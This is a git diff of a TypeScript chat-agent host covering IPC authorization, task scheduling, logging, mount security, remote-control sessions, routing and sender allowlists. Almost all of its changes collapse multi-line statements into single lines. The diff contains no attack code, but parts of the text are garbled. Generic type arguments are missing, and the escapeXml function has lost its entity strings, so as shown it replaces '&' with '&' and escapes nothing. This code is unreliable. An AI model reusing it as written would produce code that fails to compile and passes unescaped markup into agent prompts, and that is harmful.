- isMessageAuthorized('whatsapp_main', true, 'third@g.us', groups), - ).toBe(true); + expect(isMessageAuthorized('whatsapp_main', true, 'other@g.us', groups)).toBe(true); + expect(isMessageAuthorized('whatsapp_main', true, 'third@g.us', groups)).toBe(true); }); it('non-main group can send to its own chat', () => { - expect( - isMessageAuthorized('other-group', false, 'other@g.us', groups), - ).toBe(true); + expect(isMessageAuthorized('other-group', false, 'other@g.us', groups)).toBe(true); }); it('non-main group cannot send to another groups chat', () => { - expect(isMessageAuthorized('other-group', false, 'main@g.us', groups)).toBe( - false, - ); - expect( - isMessageAuthorized('other-group', false, 'third@g.us', groups), - ).toBe(false); + expect(isMessageAuthorized('other-group', false, 'main@g.us', groups)).toBe(false); + expect(isMessageAuthorized('other-group', false, 'third@g.us', groups)).toBe(false); }); it('non-main group cannot send to unregistered JID', () => { - expect( - isMessageAuthorized('other-group', false, 'unknown@g.us', groups), - ).toBe(false); + expect(isMessageAuthorized('other-group', false, 'unknown@g.us', groups)).toBe(false); }); it('main group can send to unregistered JID', () => { // Main is always authorized regardless of target - expect( - isMessageAuthorized('whatsapp_main', true, 'unknown@g.us', groups), - ).toBe(true); + expect(isMessageAuthorized('whatsapp_main', true, 'unknown@g.us', groups)).toBe(true); }); }); @@ -458,9 +394,7 @@ describe('schedule_task schedule types', () => { expect(tasks[0].schedule_type).toBe('cron'); expect(tasks[0].next_run).toBeTruthy(); // next_run should be a valid ISO date in the future - expect(new Date(tasks[0].next_run!).getTime()).toBeGreaterThan( - Date.now() - 60000, - ); + expect(new Date(tasks[0].next_run!).getTime()).toBeGreaterThan(Date.now() - 60000); }); it('rejects invalid cron expression', async () => { diff --git a/src/ipc.ts b/src/ipc.ts index e171671..badccb4 100644 --- a/src/ipc.ts +++ b/src/ipc.ts @@ -67,9 +67,7 @@ export function startIpcWatcher(deps: IpcDeps): void { // Process messages from this group's IPC directory try { if (fs.existsSync(messagesDir)) { - const messageFiles = fs - .readdirSync(messagesDir) - .filter((f) => f.endsWith('.json')); + const messageFiles = fs.readdirSync(messagesDir).filter((f) => f.endsWith('.json')); for (const file of messageFiles) { const filePath = path.join(messagesDir, file); try { @@ -77,50 +75,30 @@ export function startIpcWatcher(deps: IpcDeps): void { if (data.type === 'message' && data.chatJid && data.text) { // Authorization: verify this group can send to this chatJid const targetGroup = registeredGroups[data.chatJid]; - if ( - isMain || - (targetGroup && targetGroup.folder === sourceGroup) - ) { + if (isMain || (targetGroup && targetGroup.folder === sourceGroup)) { await deps.sendMessage(data.chatJid, data.text); - logger.info( - { chatJid: data.chatJid, sourceGroup }, - 'IPC message sent', - ); + logger.info({ chatJid: data.chatJid, sourceGroup }, 'IPC message sent'); } else { - logger.warn( - { chatJid: data.chatJid, sourceGroup }, - 'Unauthorized IPC message attempt blocked', - ); + logger.warn({ chatJid: data.chatJid, sourceGroup }, 'Unauthorized IPC message attempt blocked'); } } fs.unlinkSync(filePath); } catch (err) { - logger.error( - { file, sourceGroup, err }, - 'Error processing IPC message', - ); + logger.error({ file, sourceGroup, err }, 'Error processing IPC message'); const errorDir = path.join(ipcBaseDir, 'errors'); fs.mkdirSync(errorDir, { recursive: true }); - fs.renameSync( - filePath, - path.join(errorDir, `${sourceGroup}-${file}`), - ); + fs.renameSync(filePath, path.join(errorDir, `${sourceGroup}-${file}`)); } } } } catch (err) { - logger.error( - { err, sourceGroup }, - 'Error reading IPC messages directory', - ); + logger.error({ err, sourceGroup }, 'Error reading IPC messages directory'); } // Process tasks from this group's IPC directory try { if (fs.existsSync(tasksDir)) { - const taskFiles = fs - .readdirSync(tasksDir) - .filter((f) => f.endsWith('.json')); + const taskFiles = fs.readdirSync(tasksDir).filter((f) => f.endsWith('.json')); for (const file of taskFiles) { const filePath = path.join(tasksDir, file); try { @@ -129,16 +107,10 @@ export function startIpcWatcher(deps: IpcDeps): void { await processTaskIpc(data, sourceGroup, isMain, deps); fs.unlinkSync(filePath); } catch (err) { - logger.error( - { file, sourceGroup, err }, - 'Error processing IPC task', - ); + logger.error({ file, sourceGroup, err }, 'Error processing IPC task'); const errorDir = path.join(ipcBaseDir, 'errors'); fs.mkdirSync(errorDir, { recursive: true }); - fs.renameSync( - filePath, - path.join(errorDir, `${sourceGroup}-${file}`), - ); + fs.renameSync(filePath, path.join(errorDir, `${sourceGroup}-${file}`)); } } } @@ -182,21 +154,13 @@ export async function processTaskIpc( switch (data.type) { case 'schedule_task': - if ( - data.prompt && - data.schedule_type && - data.schedule_value && - data.targetJid - ) { + if (data.prompt && data.schedule_type && data.schedule_value && data.targetJid) { // Resolve the target group from JID const targetJid = data.targetJid as string; const targetGroupEntry = registeredGroups[targetJid]; if (!targetGroupEntry) { - logger.warn( - { targetJid }, - 'Cannot schedule task: target group not registered', - ); + logger.warn({ targetJid }, 'Cannot schedule task: target group not registered'); break; } @@ -204,10 +168,7 @@ export async function processTaskIpc( // Authorization: non-main groups can only schedule for themselves if (!isMain && targetFolder !== sourceGroup) { - logger.warn( - { sourceGroup, targetFolder }, - 'Unauthorized schedule_task attempt blocked', - ); + logger.warn({ sourceGroup, targetFolder }, 'Unauthorized schedule_task attempt blocked'); break; } @@ -221,41 +182,28 @@ export async function processTaskIpc( }); nextRun = interval.next().toISOString(); } catch { - logger.warn( - { scheduleValue: data.schedule_value }, - 'Invalid cron expression', - ); + logger.warn({ scheduleValue: data.schedule_value }, 'Invalid cron expression'); break; } } else if (scheduleType === 'interval') { const ms = parseInt(data.schedule_value, 10); if (isNaN(ms) || ms <= 0) { - logger.warn( - { scheduleValue: data.schedule_value }, - 'Invalid interval', - ); + logger.warn({ scheduleValue: data.schedule_value }, 'Invalid interval'); break; } nextRun = new Date(Date.now() + ms).toISOString(); } else if (scheduleType === 'once') { const date = new Date(data.schedule_value); if (isNaN(date.getTime())) { - logger.warn( - { scheduleValue: data.schedule_value }, - 'Invalid timestamp', - ); + logger.warn({ scheduleValue: data.schedule_value }, 'Invalid timestamp'); break; } nextRun = date.toISOString(); } - const taskId = - data.taskId || - `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const taskId = data.taskId || `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; const contextMode = - data.context_mode === 'group' || data.context_mode === 'isolated' - ? data.context_mode - : 'isolated'; + data.context_mode === 'group' || data.context_mode === 'isolated' ? data.context_mode : 'isolated'; createTask({ id: taskId, group_folder: targetFolder, @@ -269,10 +217,7 @@ export async function processTaskIpc( status: 'active', created_at: new Date().toISOString(), }); - logger.info( - { taskId, sourceGroup, targetFolder, contextMode }, - 'Task created via IPC', - ); + logger.info({ taskId, sourceGroup, targetFolder, contextMode }, 'Task created via IPC'); deps.onTasksChanged(); } break; @@ -282,16 +227,10 @@ export async function processTaskIpc( const task = getTaskById(data.taskId); if (task && (isMain || task.group_folder === sourceGroup)) { updateTask(data.taskId, { status: 'paused' }); - logger.info( - { taskId: data.taskId, sourceGroup }, - 'Task paused via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup }, 'Task paused via IPC'); deps.onTasksChanged(); } else { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task pause attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task pause attempt'); } } break; @@ -301,16 +240,10 @@ export async function processTaskIpc( const task = getTaskById(data.taskId); if (task && (isMain || task.group_folder === sourceGroup)) { updateTask(data.taskId, { status: 'active' }); - logger.info( - { taskId: data.taskId, sourceGroup }, - 'Task resumed via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup }, 'Task resumed via IPC'); deps.onTasksChanged(); } else { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task resume attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task resume attempt'); } } break; @@ -320,16 +253,10 @@ export async function processTaskIpc( const task = getTaskById(data.taskId); if (task && (isMain || task.group_folder === sourceGroup)) { deleteTask(data.taskId); - logger.info( - { taskId: data.taskId, sourceGroup }, - 'Task cancelled via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup }, 'Task cancelled via IPC'); deps.onTasksChanged(); } else { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task cancel attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task cancel attempt'); } } break; @@ -338,17 +265,11 @@ export async function processTaskIpc( if (data.taskId) { const task = getTaskById(data.taskId); if (!task) { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Task not found for update', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Task not found for update'); break; } if (!isMain && task.group_folder !== sourceGroup) { - logger.warn( - { taskId: data.taskId, sourceGroup }, - 'Unauthorized task update attempt', - ); + logger.warn({ taskId: data.taskId, sourceGroup }, 'Unauthorized task update attempt'); break; } @@ -356,12 +277,8 @@ export async function processTaskIpc( if (data.prompt !== undefined) updates.prompt = data.prompt; if (data.script !== undefined) updates.script = data.script || null; if (data.schedule_type !== undefined) - updates.schedule_type = data.schedule_type as - | 'cron' - | 'interval' - | 'once'; - if (data.schedule_value !== undefined) - updates.schedule_value = data.schedule_value; + updates.schedule_type = data.schedule_type as 'cron' | 'interval' | 'once'; + if (data.schedule_value !== undefined) updates.schedule_value = data.schedule_value; // Recompute next_run if schedule changed if (data.schedule_type || data.schedule_value) { @@ -371,16 +288,10 @@ export async function processTaskIpc( }; if (updatedTask.schedule_type === 'cron') { try { - const interval = CronExpressionParser.parse( - updatedTask.schedule_value, - { tz: TIMEZONE }, - ); + const interval = CronExpressionParser.parse(updatedTask.schedule_value, { tz: TIMEZONE }); updates.next_run = interval.next().toISOString(); } catch { - logger.warn( - { taskId: data.taskId, value: updatedTask.schedule_value }, - 'Invalid cron in task update', - ); + logger.warn({ taskId: data.taskId, value: updatedTask.schedule_value }, 'Invalid cron in task update'); break; } } else if (updatedTask.schedule_type === 'interval') { @@ -392,10 +303,7 @@ export async function processTaskIpc( } updateTask(data.taskId, updates); - logger.info( - { taskId: data.taskId, sourceGroup, updates }, - 'Task updated via IPC', - ); + logger.info({ taskId: data.taskId, sourceGroup, updates }, 'Task updated via IPC'); deps.onTasksChanged(); } break; @@ -403,42 +311,25 @@ export async function processTaskIpc( case 'refresh_groups': // Only main group can request a refresh if (isMain) { - logger.info( - { sourceGroup }, - 'Group metadata refresh requested via IPC', - ); + logger.info({ sourceGroup }, 'Group metadata refresh requested via IPC'); await deps.syncGroups(true); // Write updated snapshot immediately const availableGroups = deps.getAvailableGroups(); - deps.writeGroupsSnapshot( - sourceGroup, - true, - availableGroups, - new Set(Object.keys(registeredGroups)), - ); + deps.writeGroupsSnapshot(sourceGroup, true, availableGroups, new Set(Object.keys(registeredGroups))); } else { - logger.warn( - { sourceGroup }, - 'Unauthorized refresh_groups attempt blocked', - ); + logger.warn({ sourceGroup }, 'Unauthorized refresh_groups attempt blocked'); } break; case 'register_group': // Only main group can register new groups if (!isMain) { - logger.warn( - { sourceGroup }, - 'Unauthorized register_group attempt blocked', - ); + logger.warn({ sourceGroup }, 'Unauthorized register_group attempt blocked'); break; } if (data.jid && data.name && data.folder && data.trigger) { if (!isValidGroupFolder(data.folder)) { - logger.warn( - { sourceGroup, folder: data.folder }, - 'Invalid register_group request - unsafe folder name', - ); + logger.warn({ sourceGroup, folder: data.folder }, 'Invalid register_group request - unsafe folder name'); break; } // Defense in depth: agent cannot set isMain via IPC. @@ -455,10 +346,7 @@ export async function processTaskIpc( isMain: existingGroup?.isMain, }); } else { - logger.warn( - { data }, - 'Invalid register_group request - missing required fields', - ); + logger.warn({ data }, 'Invalid register_group request - missing required fields'); } break; diff --git a/src/logger.ts b/src/logger.ts index 6b18a9b..df2511c 100644 --- a/src/logger.ts +++ b/src/logger.ts @@ -13,8 +13,7 @@ const MSG_COLOR = '\x1b[36m'; const RESET = '\x1b[39m'; const FULL_RESET = '\x1b[0m'; -const threshold = - LEVELS[(process.env.LOG_LEVEL as Level) || 'info'] ?? LEVELS.info; +const threshold = LEVELS[(process.env.LOG_LEVEL as Level) || 'info'] ?? LEVELS.info; function formatErr(err: unknown): string { if (err instanceof Error) { @@ -40,36 +39,23 @@ function ts(): string { return `${String(d.getHours()).padStart(2, '0')}:${String(d.getMinutes()).padStart(2, '0')}:${String(d.getSeconds()).padStart(2, '0')}.${String(d.getMilliseconds()).padStart(3, '0')}`; } -function log( - level: Level, - dataOrMsg: Record | string, - msg?: string, -): void { +function log(level: Level, dataOrMsg: Record | string, msg?: string): void { if (LEVELS[level] < threshold) return; const tag = `${COLORS[level]}${level.toUpperCase()}${level === 'fatal' ? FULL_RESET : RESET}`; const stream = LEVELS[level] >= LEVELS.warn ? process.stderr : process.stdout; if (typeof dataOrMsg === 'string') { - stream.write( - `[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${dataOrMsg}${RESET}\n`, - ); + stream.write(`[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${dataOrMsg}${RESET}\n`); } else { - stream.write( - `[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${msg}${RESET}${formatData(dataOrMsg)}\n`, - ); + stream.write(`[${ts()}] ${tag} (${process.pid}): ${MSG_COLOR}${msg}${RESET}${formatData(dataOrMsg)}\n`); } } export const logger = { - debug: (dataOrMsg: Record | string, msg?: string) => - log('debug', dataOrMsg, msg), - info: (dataOrMsg: Record | string, msg?: string) => - log('info', dataOrMsg, msg), - warn: (dataOrMsg: Record | string, msg?: string) => - log('warn', dataOrMsg, msg), - error: (dataOrMsg: Record | string, msg?: string) => - log('error', dataOrMsg, msg), - fatal: (dataOrMsg: Record | string, msg?: string) => - log('fatal', dataOrMsg, msg), + debug: (dataOrMsg: Record | string, msg?: string) => log('debug', dataOrMsg, msg), + info: (dataOrMsg: Record | string, msg?: string) => log('info', dataOrMsg, msg), + warn: (dataOrMsg: Record | string, msg?: string) => log('warn', dataOrMsg, msg), + error: (dataOrMsg: Record | string, msg?: string) => log('error', dataOrMsg, msg), + fatal: (dataOrMsg: Record | string, msg?: string) => log('fatal', dataOrMsg, msg), }; // Route uncaught errors through logger so they get timestamps in stderr diff --git a/src/mount-security.ts b/src/mount-security.ts index 4a9eb12..c44620c 100644 --- a/src/mount-security.ts +++ b/src/mount-security.ts @@ -84,9 +84,7 @@ export function loadMountAllowlist(): MountAllowlist | null { } // Merge with default blocked patterns - const mergedBlockedPatterns = [ - ...new Set([...DEFAULT_BLOCKED_PATTERNS, ...allowlist.blockedPatterns]), - ]; + const mergedBlockedPatterns = [...new Set([...DEFAULT_BLOCKED_PATTERNS, ...allowlist.blockedPatterns])]; allowlist.blockedPatterns = mergedBlockedPatterns; cachedAllowlist = allowlist; @@ -142,10 +140,7 @@ function getRealPath(p: string): string | null { /** * Check if a path matches any blocked pattern */ -function matchesBlockedPattern( - realPath: string, - blockedPatterns: string[], -): string | null { +function matchesBlockedPattern(realPath: string, blockedPatterns: string[]): string | null { const pathParts = realPath.split(path.sep); for (const pattern of blockedPatterns) { @@ -168,10 +163,7 @@ function matchesBlockedPattern( /** * Check if a real path is under an allowed root */ -function findAllowedRoot( - realPath: string, - allowedRoots: AllowedRoot[], -): AllowedRoot | null { +function findAllowedRoot(realPath: string, allowedRoots: AllowedRoot[]): AllowedRoot | null { for (const root of allowedRoots) { const expandedRoot = expandPath(root.path); const realRoot = getRealPath(expandedRoot); @@ -230,10 +222,7 @@ export interface MountValidationResult { * Validate a single additional mount against the allowlist. * Returns validation result with reason. */ -export function validateMount( - mount: AdditionalMount, - isMain: boolean, -): MountValidationResult { +export function validateMount(mount: AdditionalMount, isMain: boolean): MountValidationResult { const allowlist = loadMountAllowlist(); // If no allowlist, block all additional mounts @@ -267,10 +256,7 @@ export function validateMount( } // Check against blocked patterns - const blockedMatch = matchesBlockedPattern( - realPath, - allowlist.blockedPatterns, - ); + const blockedMatch = matchesBlockedPattern(realPath, allowlist.blockedPatterns); if (blockedMatch !== null) { return { allowed: false, diff --git a/src/remote-control.test.ts b/src/remote-control.test.ts index 7dbf69c..da8f05d 100644 --- a/src/remote-control.test.ts +++ b/src/remote-control.test.ts @@ -50,20 +50,14 @@ describe('remote-control', () => { stdoutFileContent = ''; // Default fs mocks - _mkdirSyncSpy = vi - .spyOn(fs, 'mkdirSync') - .mockImplementation(() => undefined as any); - writeFileSyncSpy = vi - .spyOn(fs, 'writeFileSync') - .mockImplementation(() => {}); + _mkdirSyncSpy = vi.spyOn(fs, 'mkdirSync').mockImplementation(() => undefined as any); + writeFileSyncSpy = vi.spyOn(fs, 'writeFileSync').mockImplementation(() => {}); unlinkSyncSpy = vi.spyOn(fs, 'unlinkSync').mockImplementation(() => {}); openSyncSpy = vi.spyOn(fs, 'openSync').mockReturnValue(42 as any); closeSyncSpy = vi.spyOn(fs, 'closeSync').mockImplementation(() => {}); // readFileSync: return stdoutFileContent for the stdout file, state file, etc. - readFileSyncSpy = vi.spyOn(fs, 'readFileSync').mockImplementation((( - p: string, - ) => { + readFileSyncSpy = vi.spyOn(fs, 'readFileSync').mockImplementation(((p: string) => { if (p.endsWith('remote-control.stdout')) return stdoutFileContent; if (p.endsWith('remote-control.json')) { throw Object.assign(new Error('ENOENT'), { code: 'ENOENT' }); @@ -85,8 +79,7 @@ describe('remote-control', () => { spawnMock.mockReturnValue(proc); // Simulate URL appearing in stdout file on first poll - stdoutFileContent = - 'Session URL: https://claude.ai/code?bridge=env_abc123\n'; + stdoutFileContent = 'Session URL: https://claude.ai/code?bridge=env_abc123\n'; vi.spyOn(process, 'kill').mockImplementation((() => true) as any); const result = await startRemoteControl('user1', 'tg:123', '/project'); @@ -140,10 +133,7 @@ describe('remote-control', () => { await startRemoteControl('user1', 'tg:123', '/project'); - expect(writeFileSyncSpy).toHaveBeenCalledWith( - STATE_FILE, - expect.stringContaining('"pid":99999'), - ); + expect(writeFileSyncSpy).toHaveBeenCalledWith(STATE_FILE, expect.stringContaining('"pid":99999')); }); it('returns existing URL if session is already active', async () => { @@ -169,9 +159,7 @@ describe('remote-control', () => { spawnMock.mockReturnValueOnce(proc1).mockReturnValueOnce(proc2); // First start: process alive, URL found - const killSpy = vi - .spyOn(process, 'kill') - .mockImplementation((() => true) as any); + const killSpy = vi.spyOn(process, 'kill').mockImplementation((() => true) as any); stdoutFileContent = 'https://claude.ai/code?bridge=env_first\n'; await startRemoteControl('user1', 'tg:123', '/project'); @@ -253,9 +241,7 @@ describe('remote-control', () => { const proc = createMockProcess(55555); spawnMock.mockReturnValue(proc); stdoutFileContent = 'https://claude.ai/code?bridge=env_stop\n'; - const killSpy = vi - .spyOn(process, 'kill') - .mockImplementation((() => true) as any); + const killSpy = vi.spyOn(process, 'kill').mockImplementation((() => true) as any); await startRemoteControl('user1', 'tg:123', '/project'); @@ -353,9 +339,7 @@ describe('remote-control', () => { if (p.endsWith('remote-control.json')) return JSON.stringify(session); return ''; }) as any); - const killSpy = vi - .spyOn(process, 'kill') - .mockImplementation((() => true) as any); + const killSpy = vi.spyOn(process, 'kill').mockImplementation((() => true) as any); restoreRemoteControl(); expect(getActiveSession()).not.toBeNull(); @@ -383,15 +367,13 @@ describe('remote-control', () => { restoreRemoteControl(); - return startRemoteControl('user2', 'tg:456', '/project').then( - (result) => { - expect(result).toEqual({ - ok: true, - url: 'https://claude.ai/code?bridge=env_restored', - }); - expect(spawnMock).not.toHaveBeenCalled(); - }, - ); + return startRemoteControl('user2', 'tg:456', '/project').then((result) => { + expect(result).toEqual({ + ok: true, + url: 'https://claude.ai/code?bridge=env_restored', + }); + expect(spawnMock).not.toHaveBeenCalled(); + }); }); }); }); diff --git a/src/remote-control.ts b/src/remote-control.ts index 2f0bdc4..2a6799a 100644 --- a/src/remote-control.ts +++ b/src/remote-control.ts @@ -60,10 +60,7 @@ export function restoreRemoteControl(): void { const session: RemoteControlSession = JSON.parse(data); if (session.pid && isProcessAlive(session.pid)) { activeSession = session; - logger.info( - { pid: session.pid, url: session.url }, - 'Restored Remote Control session from previous run', - ); + logger.info({ pid: session.pid, url: session.url }, 'Restored Remote Control session from previous run'); } else { clearState(); } @@ -169,10 +166,7 @@ export async function startRemoteControl( activeSession = session; saveState(session); - logger.info( - { url: match[0], pid, sender, chatJid }, - 'Remote Control session started', - ); + logger.info({ url: match[0], pid, sender, chatJid }, 'Remote Control session started'); resolve({ ok: true, url: match[0] }); return; } diff --git a/src/router.ts b/src/router.ts index d6f88ad..4c7dd38 100644 --- a/src/router.ts +++ b/src/router.ts @@ -3,22 +3,13 @@ import { formatLocalTime } from './timezone.js'; export function escapeXml(s: string): string { if (!s) return ''; - return s - .replace(/&/g, '&') - .replace(//g, '>') - .replace(/"/g, '"'); + return s.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); } -export function formatMessages( - messages: NewMessage[], - timezone: string, -): string { +export function formatMessages(messages: NewMessage[], timezone: string): string { const lines = messages.map((m) => { const displayTime = formatLocalTime(m.timestamp, timezone); - const replyAttr = m.reply_to_message_id - ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` - : ''; + const replyAttr = m.reply_to_message_id ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` : ''; const replySnippet = m.reply_to_message_content && m.reply_to_sender_name ? `\n ${escapeXml(m.reply_to_message_content)}` @@ -41,19 +32,12 @@ export function formatOutbound(rawText: string): string { return text; } -export function routeOutbound( - channels: Channel[], - jid: string, - text: string, -): Promise { +export function routeOutbound(channels: Channel[], jid: string, text: string): Promise { const channel = channels.find((c) => c.ownsJid(jid) && c.isConnected()); if (!channel) throw new Error(`No channel for JID: ${jid}`); return channel.sendMessage(jid, text); } -export function findChannel( - channels: Channel[], - jid: string, -): Channel | undefined { +export function findChannel(channels: Channel[], jid: string): Channel | undefined { return channels.find((c) => c.ownsJid(jid)); } diff --git a/src/routing.test.ts b/src/routing.test.ts index 6e44586..9276f48 100644 --- a/src/routing.test.ts +++ b/src/routing.test.ts @@ -28,27 +28,9 @@ describe('JID ownership patterns', () => { describe('getAvailableGroups', () => { it('returns only groups, excludes DMs', () => { - storeChatMetadata( - 'group1@g.us', - '2024-01-01T00:00:01.000Z', - 'Group 1', - 'whatsapp', - true, - ); - storeChatMetadata( - 'user@s.whatsapp.net', - '2024-01-01T00:00:02.000Z', - 'User DM', - 'whatsapp', - false, - ); - storeChatMetadata( - 'group2@g.us', - '2024-01-01T00:00:03.000Z', - 'Group 2', - 'whatsapp', - true, - ); + storeChatMetadata('group1@g.us', '2024-01-01T00:00:01.000Z', 'Group 1', 'whatsapp', true); + storeChatMetadata('user@s.whatsapp.net', '2024-01-01T00:00:02.000Z', 'User DM', 'whatsapp', false); + storeChatMetadata('group2@g.us', '2024-01-01T00:00:03.000Z', 'Group 2', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups).toHaveLength(2); @@ -59,13 +41,7 @@ describe('getAvailableGroups', () => { it('excludes __group_sync__ sentinel', () => { storeChatMetadata('__group_sync__', '2024-01-01T00:00:00.000Z'); - storeChatMetadata( - 'group@g.us', - '2024-01-01T00:00:01.000Z', - 'Group', - 'whatsapp', - true, - ); + storeChatMetadata('group@g.us', '2024-01-01T00:00:01.000Z', 'Group', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups).toHaveLength(1); @@ -73,20 +49,8 @@ describe('getAvailableGroups', () => { }); it('marks registered groups correctly', () => { - storeChatMetadata( - 'reg@g.us', - '2024-01-01T00:00:01.000Z', - 'Registered', - 'whatsapp', - true, - ); - storeChatMetadata( - 'unreg@g.us', - '2024-01-01T00:00:02.000Z', - 'Unregistered', - 'whatsapp', - true, - ); + storeChatMetadata('reg@g.us', '2024-01-01T00:00:01.000Z', 'Registered', 'whatsapp', true); + storeChatMetadata('unreg@g.us', '2024-01-01T00:00:02.000Z', 'Unregistered', 'whatsapp', true); _setRegisteredGroups({ 'reg@g.us': { @@ -106,27 +70,9 @@ describe('getAvailableGroups', () => { }); it('returns groups ordered by most recent activity', () => { - storeChatMetadata( - 'old@g.us', - '2024-01-01T00:00:01.000Z', - 'Old', - 'whatsapp', - true, - ); - storeChatMetadata( - 'new@g.us', - '2024-01-01T00:00:05.000Z', - 'New', - 'whatsapp', - true, - ); - storeChatMetadata( - 'mid@g.us', - '2024-01-01T00:00:03.000Z', - 'Mid', - 'whatsapp', - true, - ); + storeChatMetadata('old@g.us', '2024-01-01T00:00:01.000Z', 'Old', 'whatsapp', true); + storeChatMetadata('new@g.us', '2024-01-01T00:00:05.000Z', 'New', 'whatsapp', true); + storeChatMetadata('mid@g.us', '2024-01-01T00:00:03.000Z', 'Mid', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups[0].jid).toBe('new@g.us'); @@ -136,27 +82,11 @@ describe('getAvailableGroups', () => { it('excludes non-group chats regardless of JID format', () => { // Unknown JID format stored without is_group should not appear - storeChatMetadata( - 'unknown-format-123', - '2024-01-01T00:00:01.000Z', - 'Unknown', - ); + storeChatMetadata('unknown-format-123', '2024-01-01T00:00:01.000Z', 'Unknown'); // Explicitly non-group with unusual JID - storeChatMetadata( - 'custom:abc', - '2024-01-01T00:00:02.000Z', - 'Custom DM', - 'custom', - false, - ); + storeChatMetadata('custom:abc', '2024-01-01T00:00:02.000Z', 'Custom DM', 'custom', false); // A real group for contrast - storeChatMetadata( - 'group@g.us', - '2024-01-01T00:00:03.000Z', - 'Group', - 'whatsapp', - true, - ); + storeChatMetadata('group@g.us', '2024-01-01T00:00:03.000Z', 'Group', 'whatsapp', true); const groups = getAvailableGroups(); expect(groups).toHaveLength(1); diff --git a/src/sender-allowlist.ts b/src/sender-allowlist.ts index 9cc2bde..7a7a0fe 100644 --- a/src/sender-allowlist.ts +++ b/src/sender-allowlist.ts @@ -23,16 +23,12 @@ const DEFAULT_CONFIG: SenderAllowlistConfig = { function isValidEntry(entry: unknown): entry is ChatAllowlistEntry { if (!entry || typeof entry !== 'object') return false; const e = entry as Record; - const validAllow = - e.allow === '*' || - (Array.isArray(e.allow) && e.allow.every((v) => typeof v === 'string')); + const validAllow = e.allow === '*' || (Array.isArray(e.allow) && e.allow.every((v) => typeof v === 'string')); const validMode = e.mode === 'trigger' || e.mode === 'drop'; return validAllow && validMode; } -export function loadSenderAllowlist( - pathOverride?: string, -): SenderAllowlistConfig { +export function loadSenderAllowlist(pathOverride?: string): SenderAllowlistConfig { const filePath = pathOverride ?? SENDER_ALLOWLIST_PATH; let raw: string; @@ -40,10 +36,7 @@ export function loadSenderAllowlist( raw = fs.readFileSync(filePath, 'utf-8'); } catch (err: unknown) { if ((err as NodeJS.ErrnoException).code === 'ENOENT') return DEFAULT_CONFIG; - logger.warn( - { err, path: filePath }, - 'sender-allowlist: cannot read config', - ); + logger.warn({ err, path: filePath }, 'sender-allowlist: cannot read config'); return DEFAULT_CONFIG; } @@ -58,25 +51,17 @@ export function loadSenderAllowlist( const obj = parsed as Record; if (!isValidEntry(obj.default)) { - logger.warn( - { path: filePath }, - 'sender-allowlist: invalid or missing default entry', - ); + logger.warn({ path: filePath }, 'sender-allowlist: invalid or missing default entry'); return DEFAULT_CONFIG; } const chats: Record = {}; if (obj.chats && typeof obj.chats === 'object') { - for (const [jid, entry] of Object.entries( - obj.chats as Record, - )) { + for (const [jid, entry] of Object.entries(obj.chats as Record)) { if (isValidEntry(entry)) { chats[jid] = entry; } else { - logger.warn( - { jid, path: filePath }, - 'sender-allowlist: skipping invalid chat entry', - ); + logger.warn({ jid, path: filePath }, 'sender-allowlist: skipping invalid chat entry'); } } } @@ -88,41 +73,24 @@ export function loadSenderAllowlist( }; } -function getEntry( - chatJid: string, - cfg: SenderAllowlistConfig, -): ChatAllowlistEntry { +function getEntry(chatJid: string, cfg: SenderAllowlistConfig): ChatAllowlistEntry { return cfg.chats[chatJid] ?? cfg.default; } -export function isSenderAllowed( - chatJid: string, - sender: string, - cfg: SenderAllowlistConfig, -): boolean { +export function isSenderAllowed(chatJid: string, sender: string, cfg: SenderAllowlistConfig): boolean { const entry = getEntry(chatJid, cfg); if (entry.allow === '*') return true; return entry.allow.includes(sender); } -export function shouldDropMessage( - chatJid: string, - cfg: SenderAllowlistConfig, -): boolean { +export function shouldDropMessage(chatJid: string, cfg: SenderAllowlistConfig): boolean { return getEntry(chatJid, cfg).mode === 'drop'; } -export function isTriggerAllowed( - chatJid: string, - sender: string, - cfg: SenderAllowlistConfig, -): boolean { +export function isTriggerAllowed(chatJid: string, sender: string, cfg: SenderAllowlistConfig): boolean { const allowed = isSenderAllowed(chatJid, sender, cfg); if (!allowed && cfg.logDenied) { - logger.debug( - { chatJid, sender }, - 'sender-allowlist: trigger denied for sender', - ); + logger.debug({ chatJid, sender }, 'sender-allowlist: trigger denied for sender'); } return allowed; } diff --git a/src/task-scheduler.test.ts b/src/task-scheduler.test.ts index 2032b51..f6eb004 100644 --- a/src/task-scheduler.test.ts +++ b/src/task-scheduler.test.ts @@ -1,11 +1,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { _initTestDatabase, createTask, getTaskById } from './db.js'; -import { - _resetSchedulerLoopForTests, - computeNextRun, - startSchedulerLoop, -} from './task-scheduler.js'; +import { _resetSchedulerLoopForTests, computeNextRun, startSchedulerLoop } from './task-scheduler.js'; describe('task scheduler', () => { beforeEach(() => { @@ -32,11 +28,9 @@ describe('task scheduler', () => { created_at: '2026-02-22T00:00:00.000Z', }); - const enqueueTask = vi.fn( - (_groupJid: string, _taskId: string, fn: () => Promise) => { - void fn(); - }, - ); + const enqueueTask = vi.fn((_groupJid: string, _taskId: string, fn: () => Promise) => { + void fn(); + }); startSchedulerLoop({ registeredGroups: () => ({}), @@ -122,8 +116,7 @@ describe('task scheduler', () => { // Must be in the future expect(new Date(nextRun!).getTime()).toBeGreaterThan(Date.now()); // Must be aligned to the original schedule 